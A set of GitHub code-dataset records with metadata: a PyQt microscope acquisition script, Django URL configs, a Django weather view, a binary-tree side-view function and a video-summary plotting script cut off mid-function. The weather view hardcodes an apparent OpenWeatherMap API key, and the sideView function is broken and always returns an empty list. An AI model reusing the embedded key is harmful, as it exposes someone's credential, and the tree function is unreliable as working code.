"bs4.BeautifulSoup", "line_number": 119, "usage_type": "call"}]} {"seq_id": "18221943450", "text": "from PyQt5 import Qt\nimport pathlib\nfrom skimage import io as skio\nfor function in ('imread', 'imsave', 'imread_collection'):\n skio.use_plugin('freeimage', function)\nimport time\n\nclass DeathFluorescence(Qt.QObject):\n def __init__(self, root, timeInterval, outPath, imagePrefix, rw=None, runCount=None):\n super().__init__()\n self.root = root\n self.timeInterval = timeInterval\n self.outPath = pathlib.Path(outPath)\n self.runCount = runCount\n self.currRun = 0\n if not self.outPath.exists():\n self.outPath.mkdir(parents=True)\n self.imagePrefix = imagePrefix\n self.rw = rw\n\n def startAutomatedAcquisition(self):\n self.runTimer = Qt.QTimer(self)\n self.runTimer.setSingleShot(False)\n self.runTimer.timeout.connect(self.executeRun)\n self.runTimer.start(self.timeInterval * 1000)\n self.executeRun()\n\n def executeRun(self):\n self.root.dm6000b.lamp.ilShutterOpened = True\n self.root.dm6000b.lamp.tlShutterOpened = True\n runStartTime = time.time()\n self.root.brightfieldLed.enabled = True\n self.root.brightfieldLed.power = 255\n self.root.camera._camera.AT_Flush()\n buffers = [self.root.camera.makeAcquisitionBuffer() for i in range(4)]\n self.root.camera.shutter = self.root.camera.Shutter.Rolling\n self.root.camera.triggerMode = self.root.camera.TriggerMode.Software\n self.root.camera.cycleMode = self.root.camera.CycleMode.Fixed\n self.root.camera.frameCount = 4\n for buffer in buffers:\n self.root.camera._camera.AT_QueueBuffer(buffer)\n self.root.camera._camera.AT_Command(self.root.camera.Feature.AcquisitionStart)\n time.sleep(0.08)\n self.root.camera.commandSoftwareTrigger()\n time.sleep(0.020)\n self.root.brightfieldLed.enabled = False\n self.root.lumencor.UVEnabled = True\n self.root.lumencor.UVPower = 255\n time.sleep(0.08)\n self.root.camera.commandSoftwareTrigger()\n time.sleep(0.020)\n self.root.lumencor.UVEnabled = False\n self.root.lumencor.cyanEnabled = True\n self.root.lumencor.cyanPower = 255\n time.sleep(0.08)\n self.root.camera.commandSoftwareTrigger()\n time.sleep(0.020)\n self.root.lumencor.cyanEnabled = False\n self.root.lumencor.greenEnabled = True\n self.root.lumencor.greenPower = 255\n time.sleep(0.08)\n self.root.camera.commandSoftwareTrigger()\n time.sleep(0.020)\n self.root.lumencor.disable()\n for i in range(4):\n print(i)\n self.root.camera._camera.AT_WaitBuffer(1000)\n self.root.camera._camera.AT_Command(self.root.camera.Feature.AcquisitionStop)\n\n self.saveImage(buffers[0], 'bf', runStartTime)\n self.saveImage(buffers[1], 'uv', runStartTime)\n self.saveImage(buffers[2], 'cyan', runStartTime)\n self.saveImage(buffers[3], 'greenyellow', runStartTime)\n\n self.currRun += 1\n if self.runCount is not None and self.currRun >= self.runCount:\n self.runTimer.stop()\n\n def saveImage(self, image, type_, time_):\n imFP = self.outPath / '{}_{}_{}.png'.format(self.imagePrefix, type_, time_)\n if self.rw is not None:\n self.rw.showImage(image)\n skio.imsave(str(imFP), image)\n", "repo_name": "erikhvatum/zplab", "sub_path": "acquisition_scripts/non_rpc/deathfluorescence.py", "file_name": "deathfluorescence.py", "file_ext": "py", "file_size_in_byte": 3367, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "skimage.io.use_plugin", "line_number": 5, "usage_type": "call"}, {"api_name": "skimage.io", "line_number": 5, "usage_type": "name"}, {"api_name": "PyQt5.Qt.QObject", "line_number": 8, "usage_type": "attribute"}, {"api_name": "PyQt5.Qt", "line_number": 8, "usage_type": "name"}, {"api_name": "pathlib.Path", "line_number": 13, "usage_type": "call"}, {"api_name": "PyQt5.Qt.QTimer", "line_number": 22, "usage_type": "call"}, {"api_name": "PyQt5.Qt", "line_number": 22, "usage_type": "name"}, {"api_name": "time.time", "line_number": 31, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 43, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 45, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 49, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 51, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 55, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 57, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 61, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 63, "usage_type": "call"}, {"api_name": "skimage.io.imsave", "line_number": 83, "usage_type": "call"}, {"api_name": "skimage.io", "line_number": 83, "usage_type": "name"}]} {"seq_id": "40291104440", "text": "\"\"\"demo URL Configuration\n\nThe `urlpatterns` list routes URLs to views. For more information please see:\n https://docs.djangoproject.com/en/3.0/topics/http/urls/\nExamples:\nFunction views\n 1. Add an import: from my_app import views\n 2. Add a URL to urlpatterns: path('', views.home, name='home')\nClass-based views\n 1. Add an import: from other_app.views import Home\n 2. Add a URL to urlpatterns: path('', Home.as_view(), name='home')\nIncluding another URLconf\n 1. Import the include() function: from django.urls import include, path\n 2. Add a URL to urlpatterns: path('blog/', include('blog.urls'))\n\"\"\"\nfrom django.contrib import admin\nfrom django.urls import path\n\nfrom django.contrib import admin\nfrom django.urls import path\nfrom COMP9900_LIM import views\n\n\nurlpatterns = [\n path('admin/', admin.site.urls),\n path('', views.homepage),\n path('login/', views.index),\n path('index/', views.index),\n path('index/homepage/', views.homepage),\n path('regist/', views.regist),\n path('regist/homepage/', views.homepage),\n path('createCo/', views.createCollection),\n path('deleteCo/', views.deleteCollection),\n path('profile/', views.profileview),\n path('createCo/profile/', views.profileview),\n path('deleteCo/profile/', views.profileview),\n path('logout/', views.logout),\n path('search/', views.search),\n path('addBk2Co/', views.addBk2Co),\n path('deleteBk/', views.deleteBk),\n path('homepage/', views.homepage),\n path('Bkdetail/', views.Bkdetail),\n path('Codetail/', views.Codetail),\n path('Userdetail/', views.Userdetail),\n path('Userdetail/profile/', views.profileview),\n path('addReview/', views.addReview),\n path('addReview/Bkdetail/', views.Bkdetail),\n path('addBk/', views.addBk),\n path('addBk/Bkdetail/', views.Bkdetail),\n path('addRating/', views.addRating),\n path('addRating/Bkdetail/', views.Bkdetail),\n path('recommendModel/', views.recommendModel),\n path('filter/', views.filter),\n path('goals/', views.goals),\n path('goals/profile/', views.profileview),\n path('goal_detail/', views.goal_detail),\n path('extend/', views.extend),\n path('extend/Bkdetail/', views.Bkdetail),\n path('goal_history/', views.goal_history)\n]\n", "repo_name": "15851826258/ReadRecommend_By_LIM", "sub_path": "COMP9900/urls.py", "file_name": "urls.py", "file_ext": "py", "file_size_in_byte": 2254, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "django.urls.path", "line_number": 25, "usage_type": "call"}, {"api_name": "django.contrib.admin.site", "line_number": 25, "usage_type": "attribute"}, {"api_name": "django.contrib.admin", "line_number": 25, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 26, "usage_type": "call"}, {"api_name": "COMP9900_LIM.views.homepage", "line_number": 26, "usage_type": "attribute"}, {"api_name": "COMP9900_LIM.views", "line_number": 26, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 27, "usage_type": "call"}, {"api_name": "COMP9900_LIM.views.index", "line_number": 27, "usage_type": "attribute"}, {"api_name": "COMP9900_LIM.views", "line_number": 27, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 28, "usage_type": "call"}, {"api_name": "COMP9900_LIM.views.index", "line_number": 28, "usage_type": "attribute"}, {"api_name": "COMP9900_LIM.views", "line_number": 28, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 29, "usage_type": "call"}, {"api_name": "COMP9900_LIM.views.homepage", "line_number": 29, "usage_type": "attribute"}, {"api_name": "COMP9900_LIM.views", "line_number": 29, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 30, "usage_type": "call"}, {"api_name": "COMP9900_LIM.views.regist", "line_number": 30, "usage_type": "attribute"}, {"api_name": "COMP9900_LIM.views", "line_number": 30, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 31, "usage_type": "call"}, {"api_name": "COMP9900_LIM.views.homepage", "line_number": 31, "usage_type": "attribute"}, {"api_name": "COMP9900_LIM.views", "line_number": 31, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 32, "usage_type": "call"}, {"api_name": "COMP9900_LIM.views.createCollection", "line_number": 32, "usage_type": "attribute"}, {"api_name": "COMP9900_LIM.views", "line_number": 32, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 33, "usage_type": "call"}, {"api_name": "COMP9900_LIM.views.deleteCollection", "line_number": 33, "usage_type": "attribute"}, {"api_name": "COMP9900_LIM.views", "line_number": 33, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 34, "usage_type": "call"}, {"api_name": "COMP9900_LIM.views.profileview", "line_number": 34, "usage_type": "attribute"}, {"api_name": "COMP9900_LIM.views", "line_number": 34, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 35, "usage_type": "call"}, {"api_name": "COMP9900_LIM.views.profileview", "line_number": 35, "usage_type": "attribute"}, {"api_name": "COMP9900_LIM.views", "line_number": 35, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 36, "usage_type": "call"}, {"api_name": "COMP9900_LIM.views.profileview", "line_number": 36, "usage_type": "attribute"}, {"api_name": "COMP9900_LIM.views", "line_number": 36, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 37, "usage_type": "call"}, {"api_name": "COMP9900_LIM.views.logout", "line_number": 37, "usage_type": "attribute"}, {"api_name": "COMP9900_LIM.views", "line_number": 37, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 38, "usage_type": "call"}, {"api_name": "COMP9900_LIM.views.search", "line_number": 38, "usage_type": "attribute"}, {"api_name": "COMP9900_LIM.views", "line_number": 38, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 39, "usage_type": "call"}, {"api_name": "COMP9900_LIM.views.addBk2Co", "line_number": 39, "usage_type": "attribute"}, {"api_name": "COMP9900_LIM.views", "line_number": 39, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 40, "usage_type": "call"}, {"api_name": "COMP9900_LIM.views.deleteBk", "line_number": 40, "usage_type": "attribute"}, {"api_name": "COMP9900_LIM.views", "line_number": 40, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 41, "usage_type": "call"}, {"api_name": "COMP9900_LIM.views.homepage", "line_number": 41, "usage_type": "attribute"}, {"api_name": "COMP9900_LIM.views", "line_number": 41, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 42, "usage_type": "call"}, {"api_name": "COMP9900_LIM.views.Bkdetail", "line_number": 42, "usage_type": "attribute"}, {"api_name": "COMP9900_LIM.views", "line_number": 42, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 43, "usage_type": "call"}, {"api_name": "COMP9900_LIM.views.Codetail", "line_number": 43, "usage_type": "attribute"}, {"api_name": "COMP9900_LIM.views", "line_number": 43, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 44, "usage_type": "call"}, {"api_name": "COMP9900_LIM.views.Userdetail", "line_number": 44, "usage_type": "attribute"}, {"api_name": "COMP9900_LIM.views", "line_number": 44, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 45, "usage_type": "call"}, {"api_name": "COMP9900_LIM.views.profileview", "line_number": 45, "usage_type": "attribute"}, {"api_name": "COMP9900_LIM.views", "line_number": 45, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 46, "usage_type": "call"}, {"api_name": "COMP9900_LIM.views.addReview", "line_number": 46, "usage_type": "attribute"}, {"api_name": "COMP9900_LIM.views", "line_number": 46, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 47, "usage_type": "call"}, {"api_name": "COMP9900_LIM.views.Bkdetail", "line_number": 47, "usage_type": "attribute"}, {"api_name": "COMP9900_LIM.views", "line_number": 47, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 48, "usage_type": "call"}, {"api_name": "COMP9900_LIM.views.addBk", "line_number": 48, "usage_type": "attribute"}, {"api_name": "COMP9900_LIM.views", "line_number": 48, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 49, "usage_type": "call"}, {"api_name": "COMP9900_LIM.views.Bkdetail", "line_number": 49, "usage_type": "attribute"}, {"api_name": "COMP9900_LIM.views", "line_number": 49, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 50, "usage_type": "call"}, {"api_name": "COMP9900_LIM.views.addRating", "line_number": 50, "usage_type": "attribute"}, {"api_name": "COMP9900_LIM.views", "line_number": 50, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 51, "usage_type": "call"}, {"api_name": "COMP9900_LIM.views.Bkdetail", "line_number": 51, "usage_type": "attribute"}, {"api_name": "COMP9900_LIM.views", "line_number": 51, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 52, "usage_type": "call"}, {"api_name": "COMP9900_LIM.views.recommendModel", "line_number": 52, "usage_type": "attribute"}, {"api_name": "COMP9900_LIM.views", "line_number": 52, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 53, "usage_type": "call"}, {"api_name": "COMP9900_LIM.views.filter", "line_number": 53, "usage_type": "attribute"}, {"api_name": "COMP9900_LIM.views", "line_number": 53, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 54, "usage_type": "call"}, {"api_name": "COMP9900_LIM.views.goals", "line_number": 54, "usage_type": "attribute"}, {"api_name": "COMP9900_LIM.views", "line_number": 54, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 55, "usage_type": "call"}, {"api_name": "COMP9900_LIM.views.profileview", "line_number": 55, "usage_type": "attribute"}, {"api_name": "COMP9900_LIM.views", "line_number": 55, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 56, "usage_type": "call"}, {"api_name": "COMP9900_LIM.views.goal_detail", "line_number": 56, "usage_type": "attribute"}, {"api_name": "COMP9900_LIM.views", "line_number": 56, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 57, "usage_type": "call"}, {"api_name": "COMP9900_LIM.views.extend", "line_number": 57, "usage_type": "attribute"}, {"api_name": "COMP9900_LIM.views", "line_number": 57, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 58, "usage_type": "call"}, {"api_name": "COMP9900_LIM.views.Bkdetail", "line_number": 58, "usage_type": "attribute"}, {"api_name": "COMP9900_LIM.views", "line_number": 58, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 59, "usage_type": "call"}, {"api_name": "COMP9900_LIM.views.goal_history", "line_number": 59, "usage_type": "attribute"}, {"api_name": "COMP9900_LIM.views", "line_number": 59, "usage_type": "name"}]} {"seq_id": "74168843110", "text": "from django.http import JsonResponse\nfrom django.shortcuts import render,redirect\nfrom django.contrib.auth.decorators import login_required\nimport requests\nfrom datetime import datetime\nfrom django.contrib import messages\n# Create your views here.\n\n\ndef apphome(request):\n return render(request, 'agricapps/apphome.html')\ndef prices (request):\n pass\n return render(request,'template')\ndef weather(request):\n #city = None\n if request.method == 'POST':\n city = request.POST.get('city')\n else:\n city = request.user.location.name\n if city:\n apikey = '7de287427ec7e9a45fbc14c76c1f7e22'\n url = f\"http://api.openweathermap.org/data/2.5/weather?q={city}&appid={apikey}\"\n result = requests.get(url)\n response = result.json()\n\n if result.status_code == 200:\n temp = response['main']['temp']\n temp_celsius = f'{round(temp-273.15)} °C'\n humidity = response['main']['humidity']\n pressure = response['main']['pressure']\n windspeed = response['wind']['speed']\n country = response['sys']['country']\n city_2 = response['name']\n sunrise_unix = response['sys']['sunrise']\n sunset_unix = response['sys']['sunset']\n sunrise = datetime.fromtimestamp(int(sunrise_unix)).strftime('%H:%M:%S')\n date = datetime.now()\n icon = response['weather'][0]['icon']\n weather = response['weather'][0]['description']\n lat = response['coord']['lat']\n lon = response['coord']['lon']\n\n sunset = datetime.fromtimestamp(int(sunset_unix)).strftime('%H:%M:%S')\n apikey_onecall = '7de287427ec7e9a45fbc14c76c1f7e22'\n url_onecall = f\"https://api.openweathermap.org/data/3.0/onecall?lat={lat}&lon={lon}&exclude=minutely,current,hourly&appid={apikey_onecall}\"\n result_onecall = requests.get(url_onecall)\n data = result_onecall.json()\n daily = data['daily']\n\n for dt in daily:\n dt['dt'] = (datetime.fromtimestamp(int(dt['dt'])).strftime('%A, %d.%b'))\n\n context = {\n 'city_2': city_2,\n 'temp': temp_celsius,\n 'humidity': humidity,\n 'pressure': pressure,\n 'windspeed': windspeed,\n 'country': country,\n 'sunrise': sunrise,\n #'sunset': sunset,\n 'date': date,\n 'icon': icon,\n 'weather': weather,\n 'daily': daily\n }\n return render(request, 'agricapps/weather.html', context)\n else:\n # Handle error response\n messages.error(request, 'City not found!')\n return render(request, 'agricapps/weather.html')\n else:\n # Handle error response\n messages.error(request, 'No city specified!')\n return render(request, 'agricapps/weather.html')\n", "repo_name": "nelsonfai/farmsocial", "sub_path": "agricapps/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 2990, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "django.shortcuts.render", "line_number": 11, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 14, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 24, "usage_type": "call"}, {"api_name": "datetime.datetime.fromtimestamp", "line_number": 37, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 37, "usage_type": "name"}, {"api_name": "datetime.datetime.now", "line_number": 38, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 38, "usage_type": "name"}, {"api_name": "datetime.datetime.fromtimestamp", "line_number": 44, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 44, "usage_type": "name"}, {"api_name": "requests.get", "line_number": 47, "usage_type": "call"}, {"api_name": "datetime.datetime.fromtimestamp", "line_number": 52, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 52, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 68, "usage_type": "call"}, {"api_name": "django.contrib.messages.error", "line_number": 71, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 71, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 72, "usage_type": "call"}, {"api_name": "django.contrib.messages.error", "line_number": 75, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 75, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 76, "usage_type": "call"}]} {"seq_id": "25742694052", "text": "from django.urls import include, path\nfrom rest_framework.routers import DefaultRouter\n\nfrom reviews.views import (\n CategoryViewSet,\n CommentViewSet,\n GenreViewSet,\n ReviewViewSet,\n TitleViewSet,\n)\nfrom users.views import UserSignUpAPIView, UserViewSet, token_obtain\n\nrouter = DefaultRouter()\nrouter.register(r'users', UserViewSet, basename='users')\n\nrouter.register(r'categories', CategoryViewSet, basename='categories')\nrouter.register(r'genres', GenreViewSet, basename='genres')\nrouter.register(r'titles', TitleViewSet, basename='titles')\nrouter.register(\n r'titles/(?P\\d+)/reviews',\n ReviewViewSet,\n basename='reviews'\n)\nrouter.register(\n r'titles/(?P\\d+)/reviews/(?P\\d+)/comments',\n CommentViewSet,\n basename='comments'\n)\n\n\nurlpatterns = [\n path('', include(router.urls), name='api-root'),\n path('auth/signup/', UserSignUpAPIView.as_view(), name='signup'),\n path('auth/token/', token_obtain, name='token'),\n]\n", "repo_name": "igorbaryshev/api_yamdb", "sub_path": "api_yamdb/api/v1/urls.py", "file_name": "urls.py", "file_ext": "py", "file_size_in_byte": 988, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "rest_framework.routers.DefaultRouter", "line_number": 13, "usage_type": "call"}, {"api_name": "users.views.UserViewSet", "line_number": 14, "usage_type": "argument"}, {"api_name": "reviews.views.CategoryViewSet", "line_number": 16, "usage_type": "argument"}, {"api_name": "reviews.views.GenreViewSet", "line_number": 17, "usage_type": "argument"}, {"api_name": "reviews.views.TitleViewSet", "line_number": 18, "usage_type": "argument"}, {"api_name": "reviews.views.ReviewViewSet", "line_number": 21, "usage_type": "argument"}, {"api_name": "reviews.views.CommentViewSet", "line_number": 26, "usage_type": "argument"}, {"api_name": "django.urls.path", "line_number": 32, "usage_type": "call"}, {"api_name": "django.urls.include", "line_number": 32, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 33, "usage_type": "call"}, {"api_name": "users.views.UserSignUpAPIView.as_view", "line_number": 33, "usage_type": "call"}, {"api_name": "users.views.UserSignUpAPIView", "line_number": 33, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 34, "usage_type": "call"}, {"api_name": "users.views.token_obtain", "line_number": 34, "usage_type": "argument"}]} {"seq_id": "41709751257", "text": "import collections\n\n\ndef sideView(root): #Level Order becauase we want the right most values of each level \n q = collections.deque([root]) \n res = []\n\n for i in range(len(q)):\n\n while q:\n node = q.popleft() \n\n if node:\n riteSide = None #initially set to None \n q.append(node.left)\n q.append(node.right)\n\n if riteSide:\n res.append(riteSide.val) \n\n\n return res\n\n \n\n ", "repo_name": "shirinyamani/neetcode", "sub_path": "tree/sideview.py", "file_name": "sideview.py", "file_ext": "py", "file_size_in_byte": 505, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "71", "api": [{"api_name": "collections.deque", "line_number": 5, "usage_type": "call"}]} {"seq_id": "1314276630", "text": "\"\"\"\nURL configuration for contract_manager project.\n\nThe `urlpatterns` list routes URLs to views. For more information please see:\n https://docs.djangoproject.com/en/4.2/topics/http/urls/\nExamples:\nFunction views\n 1. Add an import: from my_app import views\n 2. Add a URL to urlpatterns: path('', views.home, name='home')\nClass-based views\n 1. Add an import: from other_app.views import Home\n 2. Add a URL to urlpatterns: path('', Home.as_view(), name='home')\nIncluding another URLconf\n 1. Import the include() function: from django.urls import include, path\n 2. Add a URL to urlpatterns: path('blog/', include('blog.urls'))\n\"\"\"\nfrom django.contrib import admin\nfrom django.urls import path\nfrom main import views\nfrom .yasg import urlpatterns as doc_urls\n\n\nurlpatterns = [\n path(\"admin/\", admin.site.urls),\n path(\"projects/\", views.ProjectList.as_view(), name=\"project-list\"),\n path(\"projects//\", views.ProjectDetail.as_view(), name=\"project-detail\"),\n path(\"contracts/\", views.ContractList.as_view(), name=\"contract-list\"),\n path(\"contracts//\", views.ContractDetail.as_view(), name=\"contract-detail\"),\n path(\n \"contracts//confirm/\",\n views.ContractDetail.confirm_contract,\n name=\"confirm-contract\",\n ),\n path(\n \"contracts//complete/\",\n views.ContractDetail.complete_contract,\n name=\"complete-contract\",\n ),\n]\n\n\nadmin.site.site_header = \"iCode ADMIN\"\nadmin.site.site_title = \"contracts and projects\"\nadmin.site.index_title = \"Добро Пожаловать в админку iCode\"\n\n\nurlpatterns += doc_urls\n", "repo_name": "V0lodimirV/contracts_and_projects", "sub_path": "contract_manager/urls.py", "file_name": "urls.py", "file_ext": "py", "file_size_in_byte": 1636, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "django.urls.path", "line_number": 24, "usage_type": "call"}, {"api_name": "django.contrib.admin.site", "line_number": 24, "usage_type": "attribute"}, {"api_name": "django.contrib.admin", "line_number": 24, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 25, "usage_type": "call"}, {"api_name": "main.views.ProjectList.as_view", "line_number": 25, "usage_type": "call"}, {"api_name": "main.views.ProjectList", "line_number": 25, "usage_type": "attribute"}, {"api_name": "main.views", "line_number": 25, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 26, "usage_type": "call"}, {"api_name": "main.views.ProjectDetail.as_view", "line_number": 26, "usage_type": "call"}, {"api_name": "main.views.ProjectDetail", "line_number": 26, "usage_type": "attribute"}, {"api_name": "main.views", "line_number": 26, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 27, "usage_type": "call"}, {"api_name": "main.views.ContractList.as_view", "line_number": 27, "usage_type": "call"}, {"api_name": "main.views.ContractList", "line_number": 27, "usage_type": "attribute"}, {"api_name": "main.views", "line_number": 27, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 28, "usage_type": "call"}, {"api_name": "main.views.ContractDetail.as_view", "line_number": 28, "usage_type": "call"}, {"api_name": "main.views.ContractDetail", "line_number": 28, "usage_type": "attribute"}, {"api_name": "main.views", "line_number": 28, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 29, "usage_type": "call"}, {"api_name": "main.views.ContractDetail", "line_number": 31, "usage_type": "attribute"}, {"api_name": "main.views", "line_number": 31, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 34, "usage_type": "call"}, {"api_name": "main.views.ContractDetail", "line_number": 36, "usage_type": "attribute"}, {"api_name": "main.views", "line_number": 36, "usage_type": "name"}, {"api_name": "django.contrib.admin.site", "line_number": 42, "usage_type": "attribute"}, {"api_name": "django.contrib.admin", "line_number": 42, "usage_type": "name"}, {"api_name": "django.contrib.admin.site", "line_number": 43, "usage_type": "attribute"}, {"api_name": "django.contrib.admin", "line_number": 43, "usage_type": "name"}, {"api_name": "django.contrib.admin.site", "line_number": 44, "usage_type": "attribute"}, {"api_name": "django.contrib.admin", "line_number": 44, "usage_type": "name"}, {"api_name": "yasg.urlpatterns", "line_number": 47, "usage_type": "name"}]} {"seq_id": "34162692457", "text": "import numpy as np\nimport scipy.io as sio\nimport matplotlib.pyplot as plt\nfrom sklearn.preprocessing import MinMaxScaler\nimport unicodedata\nimport pdb\nimport cv2\nimport matplotlib\n\ndef makeArraysEqual(gt_file, pred_file):\n new_array = np.zeros([len(gt_file), 1])\n \n for i in range(len(pred_file)):\n new_array[i] = pred_file[i]\n \n return new_array\n\nplot1_good = '4wU_LUjG5Ic'\nplot2_bad = 'EYqVtI9YWJA'\n\ndef read_video(fileName):\n path = '../../saved_numpy_arrays/TvSum50/RGB_as_numpy/testing/'\n video_file = np.load(path + fileName + '.npy')\n \n return video_file\n\ndef getSummary_frames(video_file, working_preds):\n summary_frames = []\n spacing = int(working_preds.shape[0] / 7.)\n j = 0\n for i in range(working_preds.shape[0]-2):\n if working_preds[i] == 1:\n h = j*spacing\n summary_frames.append(video_file[i+h])\n j=j+1\n \n if len(summary_frames) > 6:\n break\n\n return summary_frames\n \ndef splot_summary_frames(summary_frames, gt_name):\n fig, (ax_1, ax_2, ax_3, ax_4, ax_5, ax_6) = plt.subplots(2, 3, sharey=True, sharex=True)\n# fig.suptitle('Summary frames for video: '+ gt_name)\n\n ax_1.axis(\"off\"); ax_2.axis(\"off\"); ax_3.axis(\"off\"); ax_4.axis(\"off\"); ax_5.axis(\"off\"); ax_6.axis(\"off\");\n ax_1.imshow(cv2.cvtColor(summary_frames[0], cv2.COLOR_BGR2RGB))\n ax_2.imshow(cv2.cvtColor(summary_frames[1], cv2.COLOR_BGR2RGB))\n ax_3.imshow(cv2.cvtColor(summary_frames[2], cv2.COLOR_BGR2RGB))\n ax_4.imshow(cv2.cvtColor(summary_frames[3], cv2.COLOR_BGR2RGB))\n ax_5.imshow(cv2.cvtColor(summary_frames[4], cv2.COLOR_BGR2RGB))\n ax_6.imshow(cv2.cvtColor(summary_frames[5], cv2.COLOR_BGR2RGB))\n \n return fig\n\ndef plot_summary_frames(summary_frames, gt_name):\n \n fig = plt.figure(figsize=(7, 7))\n columns = 3\n rows = 2\n ax = []\n\n for i in range(columns*rows):\n # create subplot and append to ax\n ax.append(fig.add_subplot(rows, columns, i+1) )\n #ax[-1].set_title(\"ax:\"+str(i)) # set title\n plt.imshow(cv2.cvtColor(summary_frames[i], cv2.COLOR_BGR2RGB))\n ax[-1].axis(\"off\");\n\n plt.show() \n \n return fig\n\ndef saveStartEndofSnippet(video_file, predictions, typeSummary):\n \n matplotlib.image.imsave('Plots/'+typeSummary+'_frame_0.jpg', cv2.cvtColor(video_file[0], cv2.COLOR_BGR2RGB))\n matplotlib.image.imsave('Plots/'+typeSummary+'_frame_n.jpg', cv2.cvtColor(video_file[-1], cv2.COLOR_BGR2RGB))\n # save frame at frame 0\n # save frame at frame n\n# pdb.set_trace()\n for i in range(predictions.shape[0]-2):\n \n if predictions[i] == 0 and predictions[i+1] == 1 and predictions[i+2] == 1:\n # save image at i+1\n matplotlib.image.imsave('Plots/'+typeSummary+'_frame_'+str(i+1)+'.jpg', cv2.cvtColor(video_file[i+1], cv2.COLOR_BGR2RGB))\n if predictions[i] == 1 and predictions[i+1] == 1 and predictions[i+2] == 0:\n # save image at i+1\n matplotlib.image.imsave('Plots/'+typeSummary+'_frame_'+str(i+1)+'.jpg', cv2.cvtColor(video_file[i+1], cv2.COLOR_BGR2RGB))\n \n\ndef plot_results():\n predictionFiles = sio.loadmat('matlab_preds.mat').get('res')[0]\n ground_truth_path = '../../saved_numpy_arrays/TvSum50/ground_truth/testing/'\n \n for i in range(len(predictionFiles)):\n plots_dpi = 1000\n images_dpi = 500\n predictionFile = predictionFiles[i]\n# predictionFile = sio.loadmat('matlab_preds.mat').get('res')[0][video_number]\n# pdb.set_trace()\n gt_name = unicodedata.normalize('NFKD', predictionFile[1][0]).encode('ascii', 'ignore')\n gt_preds = predictionFile[0]\n gt_file = np.load(ground_truth_path + gt_name + '.npy')\n mean_result = predictionFile[5][0][0]\n mms = MinMaxScaler().fit_transform(gt_file)\n preds = makeArraysEqual(gt_file, gt_preds.T)\n new_preds = preds\n print(gt_name)\n print('Mean result: ', mean_result)\n print('Summary length: ', float(np.count_nonzero(new_preds))/ float(new_preds.shape[0]))\n if gt_name == plot1_good:\n \n video_file = read_video(gt_name)\n working_preds = new_preds[1000:3000]\n summary_frames = getSummary_frames(video_file, working_preds)\n \n saveStartEndofSnippet(video_file, new_preds, 'good')\n \n 